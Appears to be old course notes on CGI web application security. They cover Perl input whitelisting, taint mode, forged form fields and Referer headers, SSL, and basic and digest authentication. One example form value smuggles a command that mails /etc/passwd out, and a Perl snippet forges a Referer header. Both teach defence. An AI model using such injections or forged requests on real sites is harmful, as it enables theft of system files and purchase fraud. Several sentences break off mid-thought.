Why is Web applications (CGI, Application servers etc.) the world's
biggest security hole?
Some unknown person from unknown location anywhere in the world
is running a program on your computer...
... If this program is doing ONLY what you think it does, you are lucky, but
are you really sure if this is the case? :-)
Good real life example is the finger service gateway, which was distributed
with the first versions of NCSA httpd. It just took the parameter from the
form(let's say 'name') and run 'finger $name'. What
happens if $name is: 'guest; /bin/mail firstname.lastname@example.org < /etc/passwd' ?
Important security questions, which should be asked:
What is needed to be protected? It can be:
Customers / third party data
Our reputation (we don't want somebody to deface our site or use it to
launch an attack on somebody else)
Against whom should it be protected?
What is the real value?
You should build your security according to the answers to these questions.
e.g. it would be probably overkill to encrypt all the users' data if all you
gathering is users' nicknames. But if you have users' credit cards info,
SS numbers etc. you may want to consider keeping it encrypted on your system.
Two possible positions in your security policy:
Everything explicitly not permitted is forbidden. Make a list of
the things you permit and forbid everything else. Even if you forget
something, somebody will get an error message and send you an email
asking to fix it, nothing terrible happens.
e.g. an input allowed symbols are letters, numbers & underscore: $input =~ tr/A-Za-z0-9_//cd; # delete all the rest
Everything explicitly not forbidden is permitted. Make a list of
what is forbidden. What happens if you forget to forbid something?
e.g. Same problem as previous, but now we create a list of forbidden symbols:
'!@#$%^&;' $input =~ tr/!@#$%^&;//d; # delete these symbols
But we forgot to add '|' to the list. Whoops...
Always use 'Everything explicitly not permitted is forbidden.'!
Perl taint mode (perl -T)
If running perl with '-T' option, perl forces "taint" checks.
The idea behind these checks is the following:
Data from the sources we can't trust (any external sources) is unsafe
Any data which was created using some tainted data is tainted as well.
Some operations are unsafe (e.g. running external programs, writing to
You shouldn't run unsafe operations with tainted data.
The way it's working is that perl keeps track of all the variables
and knows, which one is tainted and which one is not. If program tries to use
tainted data in an unsafe operation, program will abort. There are special ways
to do the laundering of the tainted data, so each time you want to use the
tainted data you need explicitely clean it. Note here, that of course you can
just untaint the data, without checking, but this mechanism reminds you that
you need to do the validation.
You can use
module to work with Perl's taint mode.
More info on taint mode can be found at perlsec manpage
All CGI programs should be run in a taint mode.
Do not trust the browser!
The browser is not under your control, so you can't trust it. It means the
You can't trust the client-side form validation. Let's assume,
validate on the server side.
Form can be altered. It means, that hidden fields can be changed,
menus can be altered, any field can be changed. Consider the following
example: you have a shopping cart, when user proceeds to the checkout you
transfer the total price along with other parameters as a hidden form
parameter ('price') in the acknowledge screen. After user hits "agree"
button CGI program takes the 'price' from the form and debits his credit
Guess what? Somebody can take the acknowledge screen, save it on his
computer, alter the price parameter (let say $10 instead of $1500) and
press the button in his version of your form... Somebody just bought a
nice product for $10 instead of $1500, nice sale :-)
You can't trust a browser to sent variables. Let's say in the
previous example we decided to check HTTP_REFERER variable to
ensure, that user comes from our acknowledge screen. Unfortunately it's
not going to help us, because somebody can write his own 'browser' to
fool us. e.g. using the perl with LWP module you can do this:
$req = new HTTP::Request POST;
$req->header('Referer' => 'http://www.company.com/cgi-bin/ack.cgi');
HTTPS / SSL
Since we are sending over the Internet sensitive info, we don't want bad
guys to see it if they put some sniffer in the middle. Help comes from Secure
Sockets Layer (SSL). HTTPS is a secure version of HTTP, actually it's the same
HTTP, but transfered over the encrypted channel of SSL. When we ask for the
URL, which starts with 'https://', browser connects to the https
daemon (usually on port 443) and they create the secure SSL channel over which
they speak HTTP.
The way SSL works is the following:
Each browser have a build-in list of the Certifying Authorities (CA).
Browser connects to the server.
Server sends to the browser its digital certificate, which states who
this is and contains server's public encryption key. It is signed by some CA.
Browser checks the certificate using the public key of the CA to ensure,
that it's the right certificate.
Using the server's public encryption key browser & server negotiate
the session key.
After the session key is agreed upon, all the data, which goes over the
secure channel is encrypted with this key.
Note, that if the server's digital certificate is signed by unknown to the
browser CA, it'll prompt user to manually verify if the certificate is Ok.
It's also worthwhile to note here, that HTTPS adds the load on the server
and client since it adds the encryption, so it may be a good idea to use
it only when you absolutely need to. For example if your site has a public
press releases section, it's probably doesn't need to use HTTPS.
In many cases we need to authenticate the user. How can we do it?
Basic httpd authentication. The way it's working is:
It's configured on the server side for httpd (e.g. .htaccess file).
Client tries to access the page.
HTTPD sends status code 401 (Unauthorised) and type of
authentication required (basic in this case).
Browser prompts user for the username and password
(credentials) and resends the same request as before, but with
('Authorization: Basic <encoded credentials>')
HTTPD checks the credentials and if everything is Ok delivers the page.
The encoding mechanism for the credentials is really simple to decode. It
just concatenates username & password with ':' and does
base-64 encoding. So it's not very secure, since if somebody is listening
on your network he'll easy see it. The plus is that this is supported by
Digest Authentication. ('AuthType Digest' in
.htaccess file). Working similar to basic, but client instead of sending
the username & password as credentials, uses MD5 digest to generate
the credentials. Server after receiving it generates the same digest based
on its version of username & password and compares two digests.
More info on Digest Authentication can be found in
Using the session ID. You can create form, which will ask user
for username & password, check it and if everything is Ok set the
session ID, which should be kept for the whole session. For info on how
to keep session state in CGI, click here.
Note, that if you use the cookies to keep the session ID it can be
intercepted on the network, but, since this ID is per session it's a lower
risk than if username/password intercepted.
some type of encryption as well, so they can't be forged.
Web applications are the world's biggest security hole.
Always use 'Everything explicitely not permitted is forbidden'.
Never trust the browser.
Use Perl's taint mode in CGI programs.
Use HTTPS to transfer the sensitive data.
Secure your server. This is the big topic by itself, it's out of the
scope of this course, but you need to remember to secure your server :-)